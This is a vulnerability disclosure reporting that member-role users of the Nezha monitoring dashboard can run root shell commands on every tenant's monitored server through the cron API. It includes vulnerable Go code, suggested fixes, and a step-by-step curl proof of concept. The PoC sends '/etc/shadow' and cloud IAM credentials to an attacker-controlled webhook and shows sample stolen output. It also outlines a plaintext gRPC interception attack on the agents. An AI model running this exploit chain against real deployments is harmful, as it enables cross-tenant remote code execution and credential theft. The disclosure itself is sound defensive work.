Nezha Monitoring: RoleMember can run shell on every server (cross-tenant RCE) via POST /api/v1/cron

Summary

nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The cron routes POST /api/v1/cron and PATCH /api/v1/cron/:id are wired through commonHandler (any authenticated user) rather than adminHandler, and the per-server permission check on cron creation has a vacuous-true bypass.

A RoleMember user can create a scheduled cron task with Cover=CronCoverAll, Servers=[] and an arbitrary Command. At every tick of the scheduler, the dashboard pushes that command to every server in the global ServerShared map — including servers that belong to other tenants (admin's servers, other members' servers). Each agent runs the command and returns the output, which is then sent to the attacker's own NotificationGroup → attacker-controlled webhook.

Net effect: any RoleMember (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment.

Affected versions

Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.

The auth gate

// cmd/dashboard/controller/controller.go:131-135
auth.GET("/cron", listHandler(listCron))
auth.POST("/cron", commonHandler(createCron))                    // <-- commonHandler, not adminHandler
auth.PATCH("/cron/:id", commonHandler(updateCron))               // <-- ditto
auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron))
auth.POST("/batch-delete/cron", commonHandler(batchDeleteCron))

Compare with /user (adminHandler-gated). commonHandler (controller.go:214-218) only requires JWT auth — any role passes.

The vacuous-true permission bypass

// cmd/dashboard/controller/cron.go:45-85
func createCron(c *gin.Context) (uint64, error) {
    var cf model.CronForm
    var cr model.Cron
    if err := c.ShouldBindJSON(&cf); err != nil { return 0, err }

    // BUG: empty cf.Servers iterates zero items, returns true vacuously.
    if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) {
        return 0, singleton.Localizer.ErrorT("permission denied")
    }

    cr.UserID = getUid(c)
    cr.TaskType = cf.TaskType
    cr.Name = cf.Name
    cr.Scheduler = cf.Scheduler
    cr.Command = cf.Command          // <-- attacker-controlled shell
    cr.Servers = cf.Servers          // <-- empty []
    cr.PushSuccessful = cf.PushSuccessful
    cr.NotificationGroupID = cf.NotificationGroupID
    cr.Cover = cf.Cover              // <-- CronCoverAll = 1

    if cr.TaskType == model.CronTypeCronTask && cr.Cover == model.CronCoverAlertTrigger {
        return 0, singleton.Localizer.ErrorT("scheduled tasks cannot be triggered by alarms")
    }

    var err error
    if cf.TaskType == model.CronTypeCronTask {
        if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(&cr)); err != nil {
            return 0, err
        }
    }

    if err = singleton.DB.Create(&cr).Error; err != nil {
        return 0, newGormError("%v", err)
    }

    singleton.CronShared.Update(&cr)
    return cr.ID, nil
}

ServerShared.CheckPermission (singleton.go:249-261) iterates idList; with cf.Servers == [], the for-range runs zero times and returns true. So a member can submit a cron with Servers=[] and skip the permission check entirely.

The cross-tenant fanout sink

// service/singleton/crontask.go:133-181
func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {
    crIgnoreMap := make(map[uint64]bool)
    for _, server := range cr.Servers {
        crIgnoreMap[server] = true
    }
    return func() {
        if cr.Cover == model.CronCoverAlertTrigger {
            // ... (alert-only path; not used here)
            return
        }

        // BUG: iterates EVERY server in global state, no per-server permission check.
        for _, s := range ServerShared.Range {
            if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] {
                continue   // skip ignored
            }
            if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] {
                continue
            }
            if s.TaskStream != nil {
                s.TaskStream.Send(&pb.Task{
                    Id:   cr.ID,
                    Data: cr.Command,                  // <-- shell command, run as agent UID (often root)
                    Type: model.TaskTypeCommand,
                })
            }
        }
    }
}

Compare with the service-task path, which DOES gate per-server (canSendTaskToServer at cmd/dashboard/rpc/rpc.go:179-190 enforces task.UserID == server.UserID || taskOwnerIsAdmin). The cron path skips that check entirely.

The output-exfil channel

// service/rpc/nezha.go:56-76
case model.TaskTypeCommand:
    cr, _ := singleton.CronShared.Get(result.GetId())
    if cr != nil {
        var curServer model.Server
        copier.Copy(&curServer, server)
        if cr.PushSuccessful && result.GetSuccessful() {
            singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Successfully"),
                cr.Name, server.Name, result.GetData()), "", &curServer)
        }
        if !result.GetSuccessful() {
            singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Failed"),
                cr.Name, server.Name, result.GetData()), "", &curServer)
        }
    }

result.GetData() is the agent's stdout/stderr. With cr.PushSuccessful = true set by the attacker, the command output is exfil'd to whatever NotificationGroup the attacker chose. Members can create their own Notifications (Webhook-type via POST /api/v1/notification) and Groups (POST /api/v1/notification-group), and these are owned by the member — NotificationShared.CheckPermission passes. So the attacker creates a member-owned webhook pointing at https://attacker.example.com/exfil, then references it in the cron.

End-to-end PoC

Pre-conditions: attacker has RoleMember credentials. Either admin gave them an account, or the dashboard has OAuth2 self-bind enabled.

Step 0: Get JWT (standard login).

TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
    -d '{"username":"member","password":"hunter2"}' \
    http://nezha.example.com/api/v1/login | jq -r .token)

Step 1: Create a webhook notification + group owned by the member, pointing at attacker server.

NID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
    -d '{"name":"x","url":"https://webhook.site/<attacker>","request_method":2,"request_type":1,"verify_tls":false,"skip_check":true}' \
    http://nezha.example.com/api/v1/notification | jq -r .data)

GID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
    -d "{\"name\":\"g\",\"notifications\":[$NID]}" \
    http://nezha.example.com/api/v1/notification-group | jq -r .data)

Step 2: Create the cross-tenant cron.

curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
    -d "{\"name\":\"x\",\"task_type\":0,\"scheduler\":\"*/1 * * * * *\",\"command\":\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"servers\":[],\"cover\":1,\"push_successful\":true,\"notification_group_id\":$GID}" \
    http://nezha.example.com/api/v1/cron

Step 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From c1c1cd1.../webhook.site/<attacker>:

[Scheduled Task Executed Successfully] x, admin-prod-db-01
uid=0(root) gid=0(root) groups=0(root)
admin-prod-db-01.internal
root:$6$KfTdXrLP$...
ASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token

(Output is shown for each of the N agents in the deployment, one webhook fire per agent.)

Reachability — additional notes

• Default deployment: there is no requirement that an admin even creates a member account explicitly — the dashboard may have OAuth2 self-registration via singleton.Conf.Oauth2[provider]. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that's near-pre-auth RCE.
• The nezha agent typically runs as root (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses sudo systemctl.
• The attack works whether Cover=CronCoverAll (deny-list, empty) or Cover=CronCoverIgnoreAll (allow-list — but you'd need server IDs you don't own, which requires a separate enumeration step). Cover=CronCoverAll, Servers=[] is the simplest payload.

Suggested fix

1. Switch /cron writes to adminHandler. Same fix as the /user and /setting routes already use.

   auth.POST("/cron", adminHandler(createCron))
   auth.PATCH("/cron/:id", adminHandler(updateCron))
   auth.GET("/cron/:id/manual", adminHandler(manualTriggerCron))
   auth.POST("/batch-delete/cron", adminHandler(batchDeleteCron))
   

2. Per-server permission gate in CronTrigger. Defense-in-depth: even an admin should not push a cron task to a server they don't own. Add the equivalent of canSendTaskToServer(task, server) (already used in service/rpc/rpc.go:179-190 for service tasks) before each s.TaskStream.Send():

   for _, s := range ServerShared.Range {
       if cr.UserID != s.UserID && !cronOwnerIsAdmin(cr) {
           continue
       }
       // ... existing send logic
   }
   

3. Reject empty Servers for Cover=CronCoverAll. A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role:

   if cf.Cover == model.CronCoverAll && len(cf.Servers) == 0 {
       return 0, errors.New("a cover-all cron must explicitly list at least one ignored server")
   }
   

4. Optional: forbid cf.PushSuccessful=true for non-admin to slow down the output-exfil step.

Severity

• CVSS 3.1: Critical — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H ≈ 9.0.
  • PR:L because attacker needs RoleMember (admin-issued, or OAuth2 auto-bind).
  • S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone).
  • C/I/A:H because RCE-as-root is the primary impact.
• Auth: authenticated RoleMember (Role == 1).
• CWE: CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management).

Reproduction environment

• Tested against: nezhahq/nezha master @ 50dc8e660326b9f22990898142c58b7a5312b42a.
• Code locations:
  • Auth gate: cmd/dashboard/controller/controller.go:131-135 (commonHandler), 214-236 (handler defs)
  • Bypass: cmd/dashboard/controller/cron.go:53-55 (vacuous-true CheckPermission on empty cf.Servers)
  • Sink: service/singleton/crontask.go:133-181 (CronTrigger iterates all servers)
  • Output exfil: service/rpc/nezha.go:56-76
  • Comparison (correct gating): cmd/dashboard/rpc/rpc.go:179-190 (canSendTaskToServer for service tasks)

Reporter

Eddie Ran. Filed via the GitHub Security Advisory reporter API. nezha's SECURITY.md mentions email hi@nai.ba; happy to follow up there if the maintainer prefers email coordination.

This is a follow-up to the same auth-bypass class as GHSA-w4g9-mxgg-j532 (NEZHA-001 — /notification SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF.

---

Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001)

Filing channel issue: nezhahq/agent has private vulnerability reporting disabled (verified via GET /repos/nezhahq/agent/private-vulnerability-reporting), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread.

Summary. The dashboard→agent control channel uses plaintext gRPC by default. agentConfig.TLS zero-value is false; the install script's [y/N] prompt defaults to false. AuthHandler.RequireTransportSecurity() returns false. An on-path attacker on the dashboard↔agent network path captures client_secret+client_uuid, terminates the agent's TCP connection, and injects a CommandTask over plaintext gRPC. The agent runs the task via sh -c <attacker-string> as the systemd-installed UID (typically root).

Adjacent-network attack vector (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters).

Why filable. This completes the threat model for the dashboard-side findings (NEZHA-001 / -002 / -003) — those findings all implicitly assume a trusted dashboard→agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed.

Severity: High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host.

Suggested fix.

1. Make TLS the install-script default ([Y/n]) instead of [y/N].
2. Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard's published key on first connect; refuse plaintext.
3. Add AuthHandler.RequireTransportSecurity() returning true unconditionally.
4. Document this as a must-enable in the agent install README.

Disclosure draft is on file in the moneyhunter campaign workspace under findings/NEZHA-AGENT-001-DISCLOSURE.md and findings/NEZHA-AGENT-001.yaml — happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on nezhahq/agent).

— Eddie Ran